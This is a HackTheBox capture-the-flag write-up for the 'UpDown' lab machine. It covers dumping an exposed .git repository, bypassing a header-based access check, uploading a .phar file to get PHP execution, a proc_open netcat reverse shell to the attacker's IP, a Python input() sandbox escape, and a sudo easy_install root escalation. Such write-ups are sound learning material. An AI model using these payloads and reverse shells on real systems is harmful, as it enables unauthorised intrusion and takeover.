Contents

🕵️ HTB-Writeup : UPDOWN

Introduction

Welcome to our new HackTheBox write-up! In this article, we will guide you through the steps we took to successfully compromise the targeted machine.

UpDown is an Medium Linux machine.

Recon

Let’s do some recon !

Nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
└─$ nmap 10.10.11.177 -T4 -A -Pn -p-

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 9e1f98d7c8ba61dbf149669d701702e7 (RSA)
|   256 c21cfe1152e3d7e5f759186b68453f62 (ECDSA)
|_  256 5f6e12670a66e8e2b761bec4143ad38e (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Is my Website up ?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

On port 80 we face a website with a service that test if a website is up. I tried to request my local server and it works.

drawing

We can find the domain name on the footer: siteisup.htb

Dirbusting

While dirbusting we find a page http://siteisup.htb/dev/ with a 301 response code. The site as been moved. I managed to try to fuzz subdomains, maybe the /dev/ is now at dev/siteisup.htb.

Subdomains fuzzing

While fuzzing with ffuf we found the subdomains dev.siteisup.htb.

1
2
3
└─$ ffuf -w /usr/share/wordlists/subdomains-top1mil.txt -H "Host: FUZZ.siteisup.htb" -u http://10.10.11.177 -t 200 -fs 1131

dev                     [Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 4305ms]

But we can’t access it, we get a 403 forbidden access.

Then, I tried to request dev.siteisup.htb with the scanning service of the website.

drawing

But the service can’t find the page.

Nikto

I tried a nikto scan to try to find some interesting informations about the server.

1
2
3
4
5
└─$ nikto -host "http://10.10.11.177/dev/"

+ /dev/.git/HEAD: Git HEAD file found. Full repo details may be present.
+ /dev/.git/config: Git config file found. Infos about repo details may be present.
+ 7895 requests: 0 error(s) and 8 item(s) reported on remote host

Dumping files

We find a .git folder on the target. I managed to dump all files on the .git. To do so I used git-dumper.

1
2
3
4
5
6
7
8
9
└─$ git-dumper http://10.10.11.177/dev/.git ./dev

└─$ tree dev
dev
├── admin.php
├── changelog.txt
├── checker.php
├── index.php
└── stylesheet.css

Checking files contents.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
└─$ cat changelog.txt 
Beta version

1- Check a bunch of websites.

-- ToDo:

1- Multithreading for a faster version :D.
2- Remove the upload option.
3- New admin panel.

On the changelog file we found that the website has an upload option. This our entry point. We have to found a way to upload and execute a file to get an access on the server.

Checking files

First, I checked checker.php file. The file seems to correspond to the index page of http://siteisup.htb.

Complete code of checker.php is available in appendix

File reveal that the associative array variable $_FILES is used:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# File size must be less than 10kb.
if ($_FILES['file']['size'] > 10000) {
    die("File too large!");
}
$file = $_FILES['file']['name'];

# Check if extension is allowed.
$ext = getExtension($file);
if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
    die("Extension not allowed!");
}

This is a php variable that is used to upload files on the server via POST request. There is also a check on file extension. But here, .phar is not filtered this is interesting.

When extension check is passed, file are uploaded on the server on an /uploads/ directory:

1
2
3
4
5
6
7
8
$dir = "uploads/".md5(time())."/";
if(!is_dir($dir)){
    mkdir($dir, 0770, true);
}
  
# Upload the file.
$final_path = $dir.$file;
move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");

Still on checker.php at line 84, there is also a check on the use of file://, data:// or ftp:// to prevent the read of local files with the use of curl_exec() on the isitup() function:

1
if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){

Then, file is deleted by the unlink() function at line 97.

Now that we know that there is a file upload feature, I tried to find if it is always accessible.

Checking at dev.siteisup.htb we get an forbidden access error.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
└─$ curl "http://dev.siteisup.htb/"                                                
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at dev.siteisup.htb Port 80</address>
</body></html>

But on the .git dump we recover a .htaccess file.

1
2
3
4
5
└─$ cat .htaccess 
SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header

Adding Special-dev: only4dev header and we should get access to the page.

drawing

It works! We have an access to the upload feature. I tried to get /etc/passwd file.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
POST / HTTP/1.1
Special-dev: only4dev
Host: dev.siteisup.htb
[...]
------WebKitFormBoundaryYokZAhDTpM189BPZ
Content-Disposition: form-data; name="file"; filename="site.txt"
Content-Type: application/x-php

localhost
file:///etc/passwd

------WebKitFormBoundaryYokZAhDTpM189BPZ
Content-Disposition: form-data; name="check"

Check
------WebKitFormBoundaryYokZAhDTpM189BPZ--

But as expected file:// is detected by the preg_match() filter.

drawing

I also check PHP code of the index.php file:

1
2
3
4
5
6
7
define("DIRECTACCESS",false);
$page=$_GET['page'];
if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
	include($_GET['page'] . ".php");
}else{
    include("checker.php");
}

There is also a check for file inclusion attacks.

Path to the first shell

Knowing all those element, I first tried to found a way to bypass the preg_match() function.

But I can’t find any way to do that. Then, I remembered that .phar extension is allowed.

And one interesting things is that website can check a list of URLs maybe we can try to exploit the foreach loop to execute php code before file is removed.

Exploiting the loop

I create a exploit.phar file containing the following content.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
└─$ cat exploit.phar 
<?php phpinfo(); ?>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.com
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.com
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.com
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.com
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.com
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.com
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.com
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.com

As we know that an /uploads/ directory is created when we send the request I submitted the file and check the directory.

drawing

We found our uploaded file. By going on http://dev.siteisup.htb/uploads/f1cb474b18e6566d47556fc6373fede4/exploit.phar we get the result of phpinfo() !

drawing

It works! We can now execute PHP code. Checking at disable_functions directive, we find that many functions are disabled. We can’t simply craft a reverse shell payloads, functions like shell_exec or exec are disabled.

Checking at PHP Command Execution on Hacktricks, I found that proc_open() function is not disabled.

I tried several payloads but one actually work. I found one on this website.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
└─$ cat exploit.phar 
<?php
$descriptorspec = array(
0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
2 => array("file", "/tmp/error-output.txt", "a")   // stderr is a pipe that the child will write to
);

$cwd = "/tmp";
$env = array('some_option' => 'aeiou');

$process = proc_open('sh', $descriptorspec, $pipes, $cwd, $env);

if (is_resource($process)) {
    fwrite($pipes[0], 'rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.6 4445 >/tmp/f');
    fclose($pipes[0]);

    echo stream_get_contents($pipes[1]);
    fclose($pipes[1]);

    $return_value = proc_close($process);
    echo "command returned $return_value\n";
}
?>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.com
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.com

Opening a listener on my machine and we get our first shell!

1
2
3
4
5
6
└─$ rlwrap nc -lvnp 4445
listening on [any] 4445 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.177] 54566
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Path to the privesc

developer

On developer’s home we find the following python script.

1
2
3
4
5
6
7
8
import requests

url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
	print "Website is up"
else:
	print "Website is down"

And an ELF file siteisup that probably correspond to the python script. Checking rights we find that the ELF has SUID bit. It means that the script is executed as developer.

1
2
3
4
5
www-data@updown:/home/developels -alih
261133 drwxr-x--- 2 developer www-data  4.0K Jun 22  2022 .
260229 drwxr-xr-x 6 developer developer 4.0K Aug 30 11:24 ..
261147 -rwsr-x--- 1 developer www-data   17K Jun 22  2022 siteisup
261146 -rwxr-x--- 1 developer www-data   154 Jun 22  2022 siteisup_test.py

From Hacktricks I tried some sandboxing bypass to try to execute commands.

1
2
3
4
5
6
www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application

Enter URL here:__import__('timeit').timeit("__import__('os').system('id')",number=1)

uid=1002(developer) gid=33(www-data) groups=33(www-data)

It works with the payload __import__('timeit').timeit("__import__('os').system('<COMMAND>')",number=1). We can now execute command as developer. I manage to do a reverse shell as developer:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application

Enter URL here:__import__('timeit').timeit("__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.6 4446 >/tmp/f')",number=1)

└─$ rlwrap nc -lvnp 4446
listening on [any] 4446 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.177] 38776
$ id
uid=1002(developer) gid=33(www-data) groups=33(www-data)

We are now developer but we can get the private SSH key to have a more stable shell.

We can now get the user flag :)

1
2
developer@updown:~$ cat user.txt 
***************************fc55

root

First, let’s check developer privileges.

1
2
3
4
5
6
developer@updown:~$ sudo -l
Matching Defaults entries for developer on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User developer may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/local/bin/easy_install

developer can execute /usr/local/bin/easy_install as root without providing any password. I check on GTFOBins and I found a privesc for that command.

1
2
3
4
5
6
developer@updown:~$ TF=$(mktemp -d)
developer@updown:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
developer@updown:~$ sudo easy_install $TF

# id
uid=0(root) gid=0(root) groups=0(root)

We can now get the root flag :)

1
2
# cat /root/root.txt	
**************************89b76b

Appendix

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
<?php
if(DIRECTACCESS){
	die("Access Denied");
}
?>
<!DOCTYPE html>
<html>

  <head>
    <meta charset='utf-8' />
    <meta http-equiv="X-UA-Compatible" content="chrome=1" />
    <link rel="stylesheet" type="text/css" media="screen" href="stylesheet.css">
    <title>Is my Website up ? (beta version)</title>
  </head>

  <body>

    <div id="header_wrap" class="outer">
        <header class="inner">
          <h1 id="project_title">Welcome,<br> Is My Website UP ?</h1>
          <h2 id="project_tagline">In this version you are able to scan a list of websites !</h2>
        </header>
    </div>

    <div id="main_content_wrap" class="outer">
      <section id="main_content" class="inner">
        <form method="post" enctype="multipart/form-data">
			    <label>List of websites to check:</label><br><br>
				<input type="file" name="file" size="50">
				<input name="check" type="submit" value="Check">
		</form>

<?php

function isitup($url){
	$ch=curl_init();
	curl_setopt($ch, CURLOPT_URL, trim($url));
	curl_setopt($ch, CURLOPT_USERAGENT, "siteisup.htb beta");
	curl_setopt($ch, CURLOPT_HEADER, 1);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
	curl_setopt($ch, CURLOPT_TIMEOUT, 30);
	$f = curl_exec($ch);
	$header = curl_getinfo($ch);
	if($f AND $header['http_code'] == 200){
		return array(true,$f);
	}else{
		return false;
	}
    curl_close($ch);
}

if($_POST['check']){
  
	# File size must be less than 10kb.
	if ($_FILES['file']['size'] > 10000) {
        die("File too large!");
    }
	$file = $_FILES['file']['name'];
	
	# Check if extension is allowed.
	$ext = getExtension($file);
	if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
		die("Extension not allowed!");
	}
  
	# Create directory to upload our file.
	$dir = "uploads/".md5(time())."/";
	if(!is_dir($dir)){
        mkdir($dir, 0770, true);
    }
  
  # Upload the file.
	$final_path = $dir.$file;
	move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");
	
  # Read the uploaded file.
	$websites = explode("\n",file_get_contents($final_path));
	
	foreach($websites as $site){
		$site=trim($site);
		if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
			$check=isitup($site);
			if($check){
				echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";
			}else{
				echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";
			}	
		}else{
			echo "<center><font color='red'>Hacking attempt was detected !</font></center>";
		}
	}
	
  # Delete the uploaded file.
	@unlink($final_path);
}

function getExtension($file) {
	$extension = strrpos($file,".");
	return ($extension===false) ? "" : substr($file,$extension+1);
}
?>
      </section>
    </div>

    <div id="footer_wrap" class="outer">
      <footer class="inner">
        <p class="copyright">siteisup.htb (beta)</p><br>
        <a class="changelog" href="changelog.txt">changelog.txt</a><br>
      </footer>
    </div>

  </body>
</html>